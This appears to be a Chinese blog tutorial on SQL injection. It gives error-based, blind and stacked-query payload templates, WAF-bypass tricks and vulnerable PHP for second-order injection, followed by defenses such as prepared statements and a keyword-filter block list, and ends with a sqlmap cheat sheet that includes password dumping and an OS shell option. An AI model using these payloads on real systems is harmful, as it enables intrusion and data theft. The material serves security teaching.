(1)注入条件
用户能控制输入且输入的内容被带到数据库去执行
(2)注入原理
对用户输入过滤不严谨。
(3)注入本质
违背了“数据与代码分离”的原则
(4)可能存在注入的SQL语句地方
select语句
输入payload,最后加注释符即可。
insert语句
将参数值补全,然后加注释符。
update语句
注意update语句测试时,别更新整个库。最好使where或者if的判断条件的结果为0
delete语句
同update,测试时需要注意让条件为假。
使用方法:
select updateX ML(1,concat(0x7e,({查询语句}}),0x7e),1)
eg.
select updateX ML(1,concat(0x7e,(select datab ase()),0x7e),1)
使用方法:
select extractvalue(1,concat(0x7e,({查询语句}),0x7e));
eg.
select extractvalue(1,concat(0x7e,(select datab ase()),0x7e));
使用方法:
select count(*) from test group by concat(({查询语句}),floor(rand(14)*2));
eg.
select count(*) from test group by concat((select version()),floor(rand(14)*2));
(1)if函数:
if({表达式},{true执行的语句},{false执行的语句})
payload:
if(({判断语句}),sleep(3),1)
eg.
select * from test.test where price="3.49" and if((length(user())>1)),sleep(1),1)
注意if语句既可放在select之后,又可放在where或者and之后.
(2)case语句
case when (expr1) then (expe2) else (expr3) end;
payload:
select case when {判断语句} then sleep(3) else 1 end;
eg。
select case when (length(user())>1) then sleep(3) else 1 end;
(1)sleep函数:sleep(x) 延时x秒
(2)比较操作符
>
<
=
like
regexp
not in
布尔盲注的目标是根据响应内容的长度或者响应的关键字不同来判断SQL语句是否正确.
注入方法同时间盲注,也是用判断函数.
SQL语句是以分号结尾的,有些SQL API能执行多句SQL指令,所以可以通过闭合和拼接的方式达到执行指定payload的目的.
如SQL语句为:
select * from users where id = 'id' limit 0,1;
当id为:
1';insert into users value(1,'user','pass')#
那么SQL语句变为:
select * from users where id = '1';insert into users value(1,'user','pass')#' limit 0,1;
达到插入数据的目的.
攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
(1)存入数据库:
$username=$_GET['username'];
$password=$_GET['password'];
$result=mysqli_query($con,"insert into users(username,password) values('".addslashes($username)."','".md5($password)."')");
(2)查询数据库:
$result2=mysqli_query($con,"select * from information where username='".$username."'");
$row2=mysqli_fetch_array($result2);
可以通过username参数嵌入恶意代码。
(1)测试是否存在SQL注入、判断是什么类型的注入
(2)根据注入类型,构造合适的payload,检测是否有过滤函数。如果有过滤函数,在下面构造payload时如果需要用到的字符被过滤,则采取对应的替代方法。
(3)构造payload,获取表长度、表名
(4)构造payload,获取列长度、列名
(5)获取数据。
进阶:
判断当前用户权限,获取所有的数据库,写shell。
U/**/Nion
/!*Union*/
使用其他比较符号或函数
=
like
rlike
regexp
<
>
between a and b
greatest()
least()
逗号会用到的地方:substr(),mid(),limit,if(,,)语句
eg.
select substr("abc" from 1 for 2)
select * from table_name limit 1 offset 0
等价于
select * from table_name limit 0,1
#
%23
--空格
/**/
%a0
%0a
%20
+
括号绕过 and() //括号两端可以不需空格
注释绕过 and/**/1
十六进制绕过:会使用到引号的地方一般是where子句中,可以用0xxxxx代替 "" 或''
%5c爆库路径(\)
1、预编译
2、使用安全的存储过程(先将SQL语句定义在数据库中),同时避免使用动态的SQL语句。
3、检查数据类型
4、使用安全函数
注意防御需要多种防御方式结合能达到最佳效果。
(1)使用转义字符串mysql_real_escape_string
eg.
$city = $mysqli->escape_string($city);
(2)使用mysqli的prepare语句
eg.
$uname = $_POST["username"];
$stmt = $mysqli->prepare("INSERT INTO table (column) VALUES (?)");
$stmt->bind_param("s", $uname); // "s" means the datab ase expects a string
$stmt->execute();
(3)使用PDO
eg.
$stmt = $pdo->prepare('SELECT * FROM USERS WHERE name = :name');
$stmt->execute(array('name' => $name));
(4)添加过滤函数
不推荐使用此方法,因为可能存在过滤不全的情况。
eg.
$farr = array(
"/<(\\/?)(s cript|i?f rame|style|html|body|title|l ink|m eta|o bject|\\?|\\%)([^>]*?)>/isU",
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU",
"/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dump/is"
); //既过滤XSS,又过滤SQL注入
$str = preg_replace($farr,'',$str);
(5)PHP选项开启
magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤
datb ase/sql 使用参数化查询
db.QueryRow("SELECT * FROM userinfo WHERE username = ? AND password = ?", sename, partname)
采用的是预编译的方法,QueryRow()方法会对传入参数进行强制类型检查和安全检查。
(1)判断是否存在SQL注入
参数:
-r [file] //burp包的文本
--data //post数据
--u [url] //指定URL
--cookie //cookie
--headers //设置请求头
--forms //自动填充表单
--referer //设置referer
--proxy //代理地址
--random-agent //使用随机UA头
--referer //指定referer头
--risk 3 --leve3 //cookie,http请求头,参数都扫描
-p "参数" //指定测试参数,可以为多个,用逗号隔开即可。
--skip "参数" /指定不测试的参数,可以为多个,用逗号隔开即可。
--threads [线程数量] //最大并发线程数
--technique [技术] //指定检测的技术
option:
B: Boolean-b ased blind SQL injection(布尔型注入)
E: Error-b ased SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-b ased blind SQL injection(基于时间延迟注入)
--time-sec [时间] //设置时间盲注的时间
--prefix //给payload加入前缀或者后缀
--suffix
--second-order [指定页面] //盲注时判断响应的页面,不指定默认为当前页面。
--tamper [绕WAF脚本]
(2)判断权限,猜表猜库
--current-user 获取当前用户
--current-db 获取当前数据库名称
--is-dba 判断当前用户是否为管理员。
--users 列出所有用户
--passwords 列出所有用户的密码表
--banner 返回数据库版本号
--dbms 探测数据库类型
--os 探测操作系统类型
--os-shell 写shell
--code=CODE HTTP code to match when query is e valuated to True
用HTTP的响应码来判断注入判断语句是正确的,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!